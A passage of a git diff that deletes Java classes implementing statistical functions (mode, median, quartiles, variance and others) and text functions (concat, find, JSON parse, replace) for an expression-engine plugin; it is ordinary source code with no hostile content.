com.luqj.util.MapSortUtil; -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -import java.util.HashMap; -import java.util.Map; - -/** - * 众数函数 - * Created by lucheng on 2017/8/29. - */ -public class RMassFunc extends AbstractMathFunc implements IFunc { - - private Map valMap = new HashMap(); - - private StandTypeParam mass = StandTypeParam.createConstantParam(new Double("0")); - - @Override - public IParam _fx(IParam[] args) { - for (IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - valMap.put(val, valMap.get(val) == null ? 1 : (valMap.get(val) + 1)); - } - Map valueMap = MapSortUtil.sortMapByValue(valMap, "DESC"); - Double massValue = valueMap.entrySet().iterator().next().getKey(); // 众数 - mass.setVal(massValue); - return mass; - } - - public Double getMassValue() { - return (Double) mass.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMaxFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMaxFunc.java deleted file mode 100644 index 7ae445f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMaxFunc.java +++ /dev/null @@ -1,35 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 最大值函数 - * Created by lucheng on 2017/8/28. - */ -public class RMaxFunc extends AbstractMathFunc implements IFunc { - - final double INIT_VALUE = Double.MIN_VALUE; - - private StandTypeParam max = StandTypeParam.createConstantParam(INIT_VALUE); - - @Override - public IParam _fx(IParam[] args) { - Double t = (Double) max.getVal(); - for (IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - if (t.compareTo(val) < 0) { - t = val; - } - } - max.setVal(t); - return max; - } - - public Double getMaxValue() { - return (Double) max.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMaxLengthFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMaxLengthFunc.java deleted file mode 100644 index e995456..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMaxLengthFunc.java +++ /dev/null @@ -1,34 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 最长值函数 - * Created by lucheng on 2017/8/29. - */ -public class RMaxLengthFunc extends AbstractMathFunc implements IFunc { - - final int INIT_VALUE = Integer.MIN_VALUE; - - private StandTypeParam maxLength = StandTypeParam.createConstantParam(INIT_VALUE); - - @Override - public IParam _fx(IParam[] args) { - Integer t = (Integer) maxLength.getVal(); - for (IParam arg : args) { - Integer val = arg.getVal().toString().length(); - if (t.compareTo(val) < 0) { - t = val; - } - } - maxLength.setVal(t); - return maxLength; - } - - public Integer getMaxLengthValue() { - return (Integer) maxLength.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMidValueFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMidValueFunc.java deleted file mode 100644 index 294328b..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMidValueFunc.java +++ /dev/null @@ -1,66 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.MapSortUtil; -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -import java.util.HashMap; -import java.util.Map; -import java.util.TreeMap; - -/** - * 中位数函数 - * Created by lucheng on 2017/8/31. - */ -public class RMidValueFunc extends AbstractMathFunc implements IFunc { - - private Map valMap = new HashMap(); - - private StandTypeParam midVal = StandTypeParam.createConstantParam(new Double("0")); - - private Integer count = 0; - - @Override - public IParam _fx(IParam[] args) { - count++; - for (IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - valMap.put(val, valMap.get(val) == null ? 1 : (valMap.get(val) + 1)); - } - - Integer pos1 = null, pos2 = null; - if (count % 2 == 0) { // 偶数个 - pos1 = count / 2; - pos2 = count / 2 + 1; - } else { // 奇数个 - pos1 = count / 2 + 1; - } - // key从小到大排序 - TreeMap newRange = MapSortUtil.sortMapByKey(valMap, "ASC"); - Integer sumCount = 0; - Double middleValue = null; //中位数 - for (Map.Entry newEntry : newRange.entrySet()) { - // Double number = newEntry.getKey(); - Integer count = newEntry.getValue(); - sumCount += count; - } - if (pos2 == null && pos1 <= sumCount) { // 奇数个 - Double number = MapSortUtil.getKeyByIndex(newRange, pos1); - middleValue = new Double(number); - } else { - Double number1 = MapSortUtil.getKeyByIndex(newRange, pos1); - Double number2 = MapSortUtil.getKeyByIndex(newRange, pos2); - middleValue = new Double((number1 + number2) / 2); - } - midVal.setVal(middleValue); - return midVal; - } - - public Double getMidValue() { - return (Double) midVal.getVal(); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMinFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMinFunc.java deleted file mode 100644 index 11b3bc9..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMinFunc.java +++ /dev/null @@ -1,35 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 最小值函数 - * Created by lucheng on 2017/8/29. - */ -public class RMinFunc extends AbstractMathFunc implements IFunc { - - final double INIT_VALUE = Double.MAX_VALUE; - - private StandTypeParam min = StandTypeParam.createConstantParam(INIT_VALUE); - - @Override - public IParam _fx(IParam[] args) { - Double t = (Double) min.getVal(); - for (IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - if (t.compareTo(val) > 0) { - t = val; - } - } - min.setVal(t); - return min; - } - - public Double getMinValue() { - return (Double) min.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMinLengthFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMinLengthFunc.java deleted file mode 100644 index 8fc8b69..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMinLengthFunc.java +++ /dev/null @@ -1,34 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 最短值函数 - * Created by lucheng on 2017/8/29. - */ -public class RMinLengthFunc extends AbstractMathFunc implements IFunc { - - final int INIT_VALUE = Integer.MAX_VALUE; - - private StandTypeParam minLength = StandTypeParam.createConstantParam(INIT_VALUE); - - @Override - public IParam _fx(IParam[] args) { - Integer t = (Integer) minLength.getVal(); - for (IParam arg : args) { - Integer val = arg.getVal().toString().length(); - if (t.compareTo(val) > 0) { - t = val; - } - } - minLength.setVal(t); - return minLength; - } - - public Integer getMinLengthValue() { - return (Integer) minLength.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RQtr3Func.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RQtr3Func.java deleted file mode 100644 index fc5d42e..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RQtr3Func.java +++ /dev/null @@ -1,51 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.MapSortUtil; -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -import java.util.HashMap; -import java.util.Map; -import java.util.TreeMap; - -/** - * 四分位数q3 - * Created by lucheng on 2017/8/31. - */ -public class RQtr3Func extends AbstractMathFunc implements IFunc { - - private Map valMap = new HashMap(); - - private StandTypeParam qtr3 = StandTypeParam.createConstantParam(new Double("0")); - - private Integer count = 0; - - @Override - public IParam _fx(IParam[] args) { - count++; - for (IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - valMap.put(val, valMap.get(val) == null ? 1 : (valMap.get(val) + 1)); - } - TreeMap newRange = MapSortUtil.sortMapByKey(valMap, "ASC"); - - double p3 = 3 * (count + 1) / 4; - if (p3 < 1) { - p3 = 1; - } - int d3 = (int) p3; - double f3 = MapSortUtil.getKeyByIndex(newRange, d3); - double a3 = count >= (d3 + 1) ? MapSortUtil.getKeyByIndex(newRange, d3 + 1) : 0; - double q3 = f3 * (1 - (p3 - d3)) + a3 * (p3 - d3); - - qtr3.setVal(q3); - return qtr3; - } - - public Double getQtr3Value() { - return (Double) qtr3.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RQtrFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RQtrFunc.java deleted file mode 100644 index 797c64e..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RQtrFunc.java +++ /dev/null @@ -1,51 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.MapSortUtil; -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -import java.util.HashMap; -import java.util.Map; -import java.util.TreeMap; - -/** - * 四分位数q1 - * Created by lucheng on 2017/8/31. - */ -public class RQtrFunc extends AbstractMathFunc implements IFunc { - - private Map valMap = new HashMap(); - - private StandTypeParam qtr = StandTypeParam.createConstantParam(new Double("0")); - - private Integer count = 0; - - @Override - public IParam _fx(IParam[] args) { - count++; - for (IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - valMap.put(val, valMap.get(val) == null ? 1 : (valMap.get(val) + 1)); - } - TreeMap newRange = MapSortUtil.sortMapByKey(valMap, "ASC"); - - double p1 = (count + 1) / 4; - if (p1 < 1) { - p1 = 1; - } - int d1 = (int) p1; // 向下取整 - double f1 = MapSortUtil.getKeyByIndex(newRange, d1); - double a1 = count >= (d1 + 1) ? MapSortUtil.getKeyByIndex(newRange, d1 + 1) : 0; - double q1 = f1 * (1 - (p1 - d1)) + a1 * (p1 - d1); - - qtr.setVal(q1); - return qtr; - } - - public Double getQtrValue() { - return (Double) qtr.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RQtrMinusFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RQtrMinusFunc.java deleted file mode 100644 index 0faf468..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RQtrMinusFunc.java +++ /dev/null @@ -1,63 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.MapSortUtil; -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -import java.util.HashMap; -import java.util.Map; -import java.util.TreeMap; - -/** - * 四分位数极差函数 - * Created by lucheng on 2017/8/31. - */ -public class RQtrMinusFunc extends AbstractMathFunc implements IFunc { - - private Map valMap = new HashMap(); - - private StandTypeParam qtrMinus = StandTypeParam.createConstantParam(new Double("0")); - - private Integer count = 0; - - @Override - public IParam _fx(IParam[] args) { - count++; - for (IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - valMap.put(val, valMap.get(val) == null ? 1 : (valMap.get(val) + 1)); - } - TreeMap newRange = MapSortUtil.sortMapByKey(valMap, "ASC"); - - double p1 = (count + 1) / 4; - if (p1 < 1) { - p1 = 1; - } - int d1 = (int) p1; // 向下取整 - double f1 = MapSortUtil.getKeyByIndex(newRange, d1); - double a1 = count >= (d1 + 1) ? MapSortUtil.getKeyByIndex(newRange, d1 + 1) : 0; - double q1 = f1 * (1 - (p1 - d1)) + a1 * (p1 - d1); - - double p3 = 3 * (count + 1) / 4; - if (p3 < 1) { - p3 = 1; - } - int d3 = (int) p3; - double f3 = MapSortUtil.getKeyByIndex(newRange, d3); - double a3 = count >= (d3 + 1) ? MapSortUtil.getKeyByIndex(newRange, d3 + 1) : 0; - double q3 = f3 * (1 - (p3 - d3)) + a3 * (p3 - d3); - - // 四分位数极差 - double qMinus = q3 - q1; - qtrMinus.setVal(qMinus); - return qtrMinus; - } - - public Double getQtrMinus() { - return (Double) qtrMinus.getVal(); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RRangeFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RRangeFunc.java deleted file mode 100644 index ad39f13..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RRangeFunc.java +++ /dev/null @@ -1,45 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 极差函数 - * Created by lucheng on 2017/8/29. - */ -public class RRangeFunc extends AbstractMathFunc implements IFunc { - - - private StandTypeParam max = StandTypeParam.createConstantParam(Double.MIN_VALUE); - - private StandTypeParam min = StandTypeParam.createConstantParam(Double.MAX_VALUE); - - private StandTypeParam range = StandTypeParam.createConstantParam(new Double("0")); - - @Override - public IParam _fx(IParam[] args) { - Double tMax = (Double) max.getVal(); - Double tMin = (Double) min.getVal(); - for (IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - if (tMax.compareTo(val) < 0) { - tMax = val; - } - if (tMin.compareTo(val) > 0) { - tMin = val; - } - } - max.setVal(tMax); - min.setVal(tMin); - Double rangeVal = (Double) max.getVal() - (Double) min.getVal(); - range.setVal(rangeVal); - return range; - } - - public Double getRangeValue() { - return (Double) range.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RStdDevFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RStdDevFunc.java deleted file mode 100644 index b0ed274..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RStdDevFunc.java +++ /dev/null @@ -1,47 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 标准差公式 - * Created by lucheng on 2017/8/29. - */ -public class RStdDevFunc extends AbstractMathFunc implements IFunc { - - final Double INIT_VALUE = Double.valueOf(0); - - private StandTypeParam sum = StandTypeParam.createConstantParam(INIT_VALUE); - - private StandTypeParam sum2 = StandTypeParam.createConstantParam(INIT_VALUE); - - private StandTypeParam variance = StandTypeParam.createConstantParam(INIT_VALUE); - - private Integer count = 0; - - @Override - public IParam _fx(IParam[] args) { - count++; - Double s = (Double) sum.getVal(); - Double s2 = (Double) sum2.getVal(); - for (IParam arg : args) { - s += NumFormat.$Double(arg.getVal()); - s2 += (NumFormat.$Double(arg.getVal()) * NumFormat.$Double(arg.getVal())); - } - Double avgValue = s * 1.0f / count; - Double var = s2 / count - avgValue * avgValue; - sum.setVal(s); - sum2.setVal(s2); - variance.setVal(var); - return variance; - } - - public Double getStdDevValue() { - double var = (double) variance.getVal(); - double sqrt = Math.sqrt(var); - return (double) Math.round(sqrt * 100) / 100; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RValueRangeFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RValueRangeFunc.java deleted file mode 100644 index 1c92f09..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RValueRangeFunc.java +++ /dev/null @@ -1,40 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.SimpleIteratorParam; -import org.code.modules.plugins.function.param.StandardMutlValTypeParam; -import org.code.modules.plugins.types.MapType; - -import java.util.HashMap; -import java.util.Map; - -/** - * 值分布函数 - * Created by lucheng on 2017/8/29. - */ -public class RValueRangeFunc extends AbstractMathFunc implements IFunc { - - private Map valMap = new HashMap(); - - private StandardMutlValTypeParam param = null; - - public RValueRangeFunc() { - param = new SimpleIteratorParam(new MapType(Integer.class), valMap); - } - - @Override - public IParam _fx(IParam[] args) { - for (IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - valMap.put(val, valMap.get(val) == null ? 1 : (valMap.get(val) + 1)); - } - return param; - } - - public Map getRangeMap() { - return (Map) param.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RVarianceFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RVarianceFunc.java deleted file mode 100644 index 647e82a..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RVarianceFunc.java +++ /dev/null @@ -1,46 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 方差公式 - * Created by lucheng on 2017/8/29. - */ -public class RVarianceFunc extends AbstractMathFunc implements IFunc { - - final Double INIT_VALUE = Double.valueOf(0); - - private StandTypeParam sum = StandTypeParam.createConstantParam(INIT_VALUE); - - private StandTypeParam sum2 = StandTypeParam.createConstantParam(INIT_VALUE); - - private StandTypeParam variance = StandTypeParam.createConstantParam(INIT_VALUE); - - private Integer count = 0; - - @Override - public IParam _fx(IParam[] args) { - count++; - Double s = (Double) sum.getVal(); - Double s2 = (Double) sum2.getVal(); - for (IParam arg : args) { - s += NumFormat.$Double(arg.getVal()); - s2 += (NumFormat.$Double(arg.getVal()) * NumFormat.$Double(arg.getVal())); - } - Double avgValue = s * 1.0f / count; - Double var = s2 / count - avgValue * avgValue; - sum.setVal(s); - sum2.setVal(s2); - variance.setVal(var); - return variance; - } - - public Double getVarianceValue() { - double var = (double) variance.getVal(); - return (double) Math.round(var * 100) / 100; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/series/SeriesFreq.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/series/SeriesFreq.java deleted file mode 100644 index 7cd0681..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/series/SeriesFreq.java +++ /dev/null @@ -1,50 +0,0 @@ -package org.code.modules.plugins.function.method.series; - -import org.code.modules.plugins.function.IExpression; -import org.code.modules.plugins.function.IExpressionContext; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.cache.FreqSeriesRolling; -import org.code.modules.plugins.function.cache.IRollingCaching; -import org.code.modules.plugins.function.expression.DefaultExpressionContext; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.function.parse.ExpressionParse; -import org.code.modules.plugins.types.TypeEnum; - -import java.util.Map; - -/** - * Created by liwei on 2017/9/20. - */ -public class SeriesFreq implements IFunc { - - - private FreqSeriesRolling cachingRolling; - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.Double); - private IExpression expression; - private IExpressionContext cxt; - - IRollingCaching.IRollingApply apply = new IRollingCaching.IRollingApply () { - @Override - public Double apply(String key, Map val) { - double result2 = 0; - for (Double v : val.keySet()){ - cxt.setExpressionData("VAL" ,v); - result2 = ParamFormat.format(expression.execExpression(cxt)).doubleValue(); - } - return result2; - } - }; - - @Override - public IParam fx(IParam... args) { - if(expression != null){ - String exp = ParamFormat.obj2Str(args[2]); - expression = ExpressionParse.createDefaultParse().parseExpression(exp); - cxt = new DefaultExpressionContext(); - } - result.setVal(cachingRolling.rollingBefore(ParamFormat.obj2Str(args[0]),ParamFormat.format(args[1]).doubleValue(),apply,true)); ; - return result; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/ConcatFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/ConcatFunc.java deleted file mode 100644 index 268f529..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/ConcatFunc.java +++ /dev/null @@ -1,26 +0,0 @@ -package org.code.modules.plugins.function.method.text; - - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class ConcatFunc extends AbstractTextFunc implements IFunc{ - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.String); - - private StringBuilder builder = new StringBuilder(); - - @Override - public IParam _fx(IParam[] args) { - if(builder.length() > 0) - builder.delete(0, builder.length()); - for(IParam arg : args) { - builder.append(ParamFormat.obj2Str(arg)); - } - result.setVal(builder.toString()); - return result; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/ExactFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/ExactFunc.java deleted file mode 100644 index bc8f33e..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/ExactFunc.java +++ /dev/null @@ -1,21 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class ExactFunc extends AbstractTextFunc implements IFunc{ - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.Boolean); - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 2) { - throw new IllegalArgumentException("EXACT函数参数必须是两个"); - } - result.setVal(ParamFormat.isEqual(args[0], args[1])); - return result; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/FindFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/FindFunc.java deleted file mode 100644 index 03e48ac..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/FindFunc.java +++ /dev/null @@ -1,23 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class FindFunc extends AbstractTextFunc implements IFunc{ - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.Integer); - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 2) { - throw new IllegalArgumentException("FindFunc函数参数有且只有两个参数"); - } - if(!ParamFormat.argIsNull(args[0]) ) { - result.setVal(ParamFormat.obj2Str(args[0]).indexOf(ParamFormat.obj2Str(args[1]))); - } - return result; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/JsonParseFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/JsonParseFunc.java deleted file mode 100644 index c6c1936..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/JsonParseFunc.java +++ /dev/null @@ -1,62 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.SimpleIteratorParam; -import org.code.modules.plugins.function.param.StandardMutlValTypeParam; -import org.code.modules.plugins.types.MapType; -import net.sf.json.JSONObject; - -import java.util.HashMap; -import java.util.Map; - -/** - * JSON函数解析 - */ -public class JsonParseFunc extends AbstractTextFunc implements IFunc{ - private Map valMap = new HashMap(); - - private StandardMutlValTypeParam param = null; - - public JsonParseFunc() { - param = new SimpleIteratorParam(new MapType(Object.class), valMap); - } - - @Override - public IParam _fx(IParam[] args) { - if(ParamFormat.argIsNull(args[0])) { - return null; - } - - //clear data - this.valMap.clear(); - - JSONObject jsonObj = null; - try { - jsonObj = JSONObject.fromObject(ParamFormat.obj2Str(args[0])); - }catch (Exception e) { - throw new IllegalStateException("[" + ParamFormat.obj2Str(args[0]) + "]数据解析异常", e); - } - - for(int i = 1; i < args.length; i++) { - String key = ParamFormat.obj2Str(args[i]); - valMap.put(key, getObj(jsonObj, key)); - } - return param; - } - - private Object getObj(JSONObject jsonObj, String name) { - if(name.contains(".")) { - String[] objProperties = name.split("\\."); - JSONObject temp = jsonObj; - for(int i = 0; i < objProperties.length - 1; i++) { - temp = temp.getJSONObject(objProperties[i]); - } - return temp.get(objProperties[objProperties.length - 1]).toString(); - }else { - return jsonObj.get(name).toString(); - } - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/LenFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/LenFunc.java deleted file mode 100644 index 2912171..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/LenFunc.java +++ /dev/null @@ -1,27 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class LenFunc extends AbstractTextFunc implements IFunc{ - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.Integer); - - - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 1) { - throw new IllegalArgumentException("Len函数参数只能有一个"); - } - if(!ParamFormat.argIsNull(args[0])) { - result.setVal(ParamFormat.obj2Str(args[0]).length()); - }else { - result.setVal(0); - } - return result; - } -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/LowerFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/LowerFunc.java deleted file mode 100644 index 78b0014..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/LowerFunc.java +++ /dev/null @@ -1,23 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class LowerFunc extends AbstractTextFunc implements IFunc{ - private StandTypeParam result = StandTypeParam.createParamByType(TypeEnum.String); - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 1) { - throw new IllegalArgumentException("LOWER函数参数只能有一个"); - } - if(!ParamFormat.argIsNull(args[0])) { - result.setVal(ParamFormat.obj2Str(args[0]).toLowerCase()); - } - return result; - } -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/ReplaceFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/ReplaceFunc.java deleted file mode 100644 index e7dd2b8..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/text/ReplaceFunc.java +++ /dev/null @@ -1,45 +0,0 @@ -package org.code.modules.plugins.function.method.text; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTextFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class ReplaceFunc extends AbstractTextFunc implements IFunc{ - private StandTypeParam result = null; - - int type = 0; - - @Override - public IParam _fx(IParam[] args) { - if(args.length < 3 || args.length > 4) { - throw new IllegalArgumentException("REPLACE函数参数必须是大于等于三个"); - } - - if(result == null) { - result = StandTypeParam.createParamByType(TypeEnum.String); - if(args.length == 4) { - type = NumFormat.$Intger(args[3]); - } - } - - if(args[0].getVal() != null) { - switch(type) { - case 0: - 